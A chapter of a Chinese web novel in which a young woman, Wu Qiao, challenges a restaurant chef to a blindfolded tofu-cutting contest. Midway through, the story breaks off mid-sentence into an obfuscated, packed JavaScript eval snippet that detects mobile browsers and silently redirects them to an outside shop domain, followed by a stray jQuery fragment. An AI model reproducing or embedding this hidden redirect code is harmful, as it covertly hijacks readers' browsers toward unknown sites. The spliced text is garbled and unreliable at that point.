-
戚元明笑吟吟地走到提前准备好的桌子面前。
桌面上还摆放着需要用的一把菜刀和一盒封着口的豆腐,以及用玻璃碗盛放的清水。
“谢谢大家。”
“今天权当是个表演,热闹一下就行。”
场面话结束后,戚元明表情一下子变得严峻起来,他小心翼翼地打开封口保护膜,专注着手里的动作。
将豆腐切成丝这道菜,原名叫做文思豆腐,是淮扬菜刀工技艺的代表。
因为其菜的特性,尝尝被作用测试厨师功底的基本功要求,尤其是地处淮扬的厨师。
文思豆腐需要将其切成零点五毫米粗细的均匀丝条,难度非常之大。
而且他也并不是淮扬那边的人,再加上工作多年,基本的刀工都有些生疏了。
要不是给的实在太多,他也不会选择来这。
眼下对于的场面,他倒没觉得多重要。
台下的顾客们都是外行人,能看出来个什么。
就着这般心思,戚元明开始了切豆腐的操作。
但这些在台下这些外行的观众们看来颇有大厨风范,大家同样变得安静,呼吸也不自觉地放轻,还生怕哪个角落发出动静影响了台上。
台下。
因为来的食客实在太多了,邬乔费了好半天功夫,才找到一个疙瘩角落位置。
邬林倒是被台上吸引去了目光,他兴奋地拍着邬乔的胳膊。
“姐,那人真有那么厉害么?豆腐还能切成丝?假的吧?”
实在不是他冒昧。
豆腐那么软,轻轻一捏就碎了,怎么可能还能给切成丝?
那得要多厉害的人才可以...
果然。
跟着姐,还真能见到不少大世面。
邬林兴致勃勃地张望着台上的表演,反倒邬乔没吭声,她视力不错,加上坐的位置虽然偏,但能一眼看清楚台上人的动作。
此时此刻,她的耳朵似乎听不见任何声音,唯独那双眼睛仔仔细细观摩着台上那个厨师的一举一动。
...
台上。
切豆腐表演很快,一两分钟就结束了。
戚元明将切好的豆腐用掌心小心翼翼拢起,拨到菜刀的一面上,再缓缓放入一旁的清水中。
霎那间,雪白成丝状的豆腐哗啦一下在水中散开,宛如天女散花般飘逸。
坐在前面的观众们见到这幕,纷纷觉得奇妙无比。
个个都乐呵着。
“好——”
“这大厨真是厉害!”
“就是,这豆腐还能切出来新花样!可不是厉害?”
坐在第一排穿着黑色西装和中山装的几位中年男人不断交换着眼神,眼里满满都是惊叹。
首当其冲便是坐在C位的那位气宇非凡的那位。
他勾勒起紧抿的薄唇,无比严肃的神情露出轻微笑意,率先鼓起了掌,随后其他人也陆续拍着手欢呼道。
随着鼓掌声渐渐落下,忽然大厅里响起一道突兀的女声,清亮的音色不卑不亢,又隐约暗藏着丝丝锋芒。
“这么切豆腐多无趣,一点技术含量都没有。”
这句话让原本热闹的大厅陡然间变得寂静无声。
紧接着。
某位顾客像是发现了这道声音的来源,众人的目光一个接一个投了过去。
就连坐在首排的那些领导的目光也同样落到那处。
大家看到了一个穿着白衬衫和黑色牛仔裤的女孩,正懒洋洋地靠着椅子坐着。
女孩的相貌算不上多好看。
朴素的穿着和毫无粉黛的素颜,唯一就是白皙的肤色以及那双顾盼生辉的明亮瞳仁让人印象深刻。
仿佛夜空闪烁的星星,眼波间灵动璀璨。
邬乔一眨不眨地望着舞台上,表情明明是带着笑意,可站在台上的戚元明硬是从中看出了来自对方的挑衅。
在场的顾客们放低音量,小声议论着。
“刚才那话是她说的?”
“就是!”
“这小姑娘胆子也忒大,这不明摆着找事嘛?”
邬林更是吓得不行,偷偷摸摸拍着邬乔的后背,极轻的声音劝说着。
“姐,你来真的?咱要不算了吧。”
头一次面对这么多的人,饶是从小外向活泼社交牛逼的邬林都觉得令人发怵。
尤其是站在舞台下方的,那位西装革履的老板,人家看向他们这一桌的目光,简直恨不得把他们给扫地出门。
...
所有人的目光扫过角落那张桌子后,不约而同将目光落在邬乔的身上。
只见她不焦不急地端起桌子上的茶杯,入口小酌。
放下茶杯后,被湿润过的唇瓣泛着水光。
面对戚元明的目光,邬乔毫不躲避,直面迎上。
用在场众人都能听见的声音说道:“不如表演个蒙眼切豆腐吧,总得有些挑战性才有看头,不是吗?”
也幸好酒楼过于安静,不管是一楼还是二楼的客人都能听得清清楚楚。
这话像是平静的湖面投入一块小石子,力道虽小,却惊起了一波又一波浪潮。
“什么?!”
“我...我没听错吧?她居然让大厨蒙眼切豆腐丝?开什么玩笑?”
“别说,听起来不可思议,但莫名有种想看的冲动。”
“真有人能蒙眼切豆腐丝吗?那也太牛了吧!”
在大家的众说纷纭当中,台上戚元明的内心已然吐血万分。
不断吐槽着。
这丫头分明是来找事的吧?
蒙眼切豆腐丝这种无比考验技术的操作,他一个三厨怎么会?最起码也得主厨的阅历才行。
这样的操作别说是云山市的饭店,至少得是京市有名气的大饭店的主厨才能做到。
而且最关键的是想要做到这个程度,起码得拥有十年以上的专业烹饪技术以及超过五年的刀工训练。
京市各大饭店里的那些顶尖大厨们,个个都出身于厨师世家,拥有无数顶尖资源且身怀绝技。
至于当属最厉害的那位,不过二十岁的年纪就成为了华国厨师界的传说。
如今三十岁不到,就成了那位领导人的御用厨师,一直到现在。
戚元明面色还是强撑着笑了下,试图用自贬的方式来劝说这位挑事的小丫头放弃这个念头。
“小姑娘,这蒙眼切豆腐别说是我,就连这些年来厨师大赛的冠军可都没几个人能做到,更别说我这样的普通厨师。”
众人随着戚元明的话声不断点头。
确实。
从来,他们都还没听说话哪个厨师能蒙眼切豆腐的。
邬乔垂下眼睫,羽黑般的长睫毛覆在眼皮下形成一道阴影,语气不咸不淡道。
“是吗?那不如我跟你比一场?”
这话刚出,场面一下子沸腾起来。
比赛,那可是最精彩的啊!
不止戚元明和洪文华,就连在座的食客们也一下子都明白了,原来这女孩是来踢馆的。
“比赛?那可有意思了。”
“这小姑娘看着肩不能扛,手不能提的,她会切豆腐丝吗?”
“就是,可别半天给切成豆腐块,还把自己给伤着了...”
说着说着,有些食客为此还笑出了声音。
在众人的不看好当中,台上的戚元明微眯着眼眸,冷笑了一声,丝毫没将她放在眼里。
“小丫头,年纪轻轻可不要说大话,这切豆腐丝看着简单,没有多年功力,可不是那么容易就能学会的。”
别说做菜不简单
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640926|204687||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,就单单一个切豆腐丝,没有耐力韧劲,可是做不到的。
当初就连他自己,也是在基础功极度扎实的情况下才敢开始尝试。
至于面前这个小姑娘,看着也不过二十出头的样子,皮肤白皙稚嫩,一点儿都不像学厨的人。
邬乔却不在意地立起身,身形笔直,椅子跟着向后移去,发出刺啦的响声。
身姿如一颗杨松般挺拔。
她注目着前方台上,黑色的瞳仁凝成一股漩涡,神色泰然自若道:“我从来只说实话。”
台上的主持人早已接收到老板传来的眼神暗示,笑意吟吟对着台下食客们说道:“既然有顾客想要踢馆,不知戚大厨意下如何呢?”
戚元明的眼眸中闪过一道精光,赫然答应:“行!”
他十九岁开始学厨,至今也有当大厨也有整整十年,难不成还比不过一个丫头片子?
主持人:“那请台下的这位女士上台。”
在众人的凝视下,邬乔绕过一旁焦躁不安的邬林,徐徐迈步从桌椅之间的过道往前走去。
那身姿看似轻快,实则每一步的重心都无比稳当。
同时。
主持人也很快让店员重新拿了两份没有开封的豆腐以及一套新的厨具。
上台后,邬乔那张容颜瞬间变得清楚。
台下有食客认出了她。
嚷嚷道:“诶!这不是那邬记小厨老板的女儿吗?”
其他食客也跟着认了出来。
“诶,这邬老板的女儿还会做菜?没听说过啊...”
“该不会是故意来找茬的吧?”
...
主持人面露笑意望着眼前这个清秀的女孩,轻声问道:“既然如此,那请问这位女士你想要怎么比呢?”
在他看来,这女孩太过年轻。
充其量可能也就只是会一点儿厨艺,但和大厨比较,就肯定要逊色不少。
但能敢于上台比试,也算是勇气可嘉。
邬乔沉默地站在台上,旁边的主持人要比他高出半个头,随着对方的话她轻抬起眼睑,语调冷静。
“既然是我提的,自然要一起比试,金悦轩可是咱们市区最好的大酒店,戚大厨能够在金悦轩当厨,想必厨艺功底必然厉害,蒙眼切豆腐丝而已,我想这对戚大厨来说应该不难吧?”
随着后半句话的说出,邬乔扬起唇角侧目对着戚元明。
在如此近距离之下,女孩眼里的试探和挑衅清晰可见。
先礼后兵。
戚元明被这番话一下子激怒了。
他重重地呼出胸腔里的浊气,微眯起的双眸死死盯着站在身侧的邬乔,不断压下心里的火气。
他没想到对方居然敢提出要同自己一起比试。
果然是初生牛犊不怕虎。
好啊!不就是蒙眼切豆腐丝么...
比就比!
当初还没出师前,在师父的带领下,他也成功过一半,如今他学厨十年,总不至于连一个黄毛丫头都比不过吧?!
盯着邬乔看了半天,戚元明咬着后槽牙说道:“我答应你,但比赛总得有个彩头吧?”
食客们听到这话后骤然瞪大瞳孔,纷纷兴奋地盯着台上的两人。
只见邬乔抬起右臂,手指摩挲着下巴思考了几秒。
然后望向戚元明,说道:“谁输了就给对方无偿当牛做马一年,如何?”
戚元明眼中闪过决绝。
“成交。”
他就不信,自己还比不过一个小丫头。
在一众人的目光见证下,两人很快展开了比拼。
戚元明提出先来。
主动让主持人用黑布蒙住双眼,手里摸到菜刀和开封好的豆腐后,用了一分钟的时间平静下浮躁的心思后,终于上了手。
-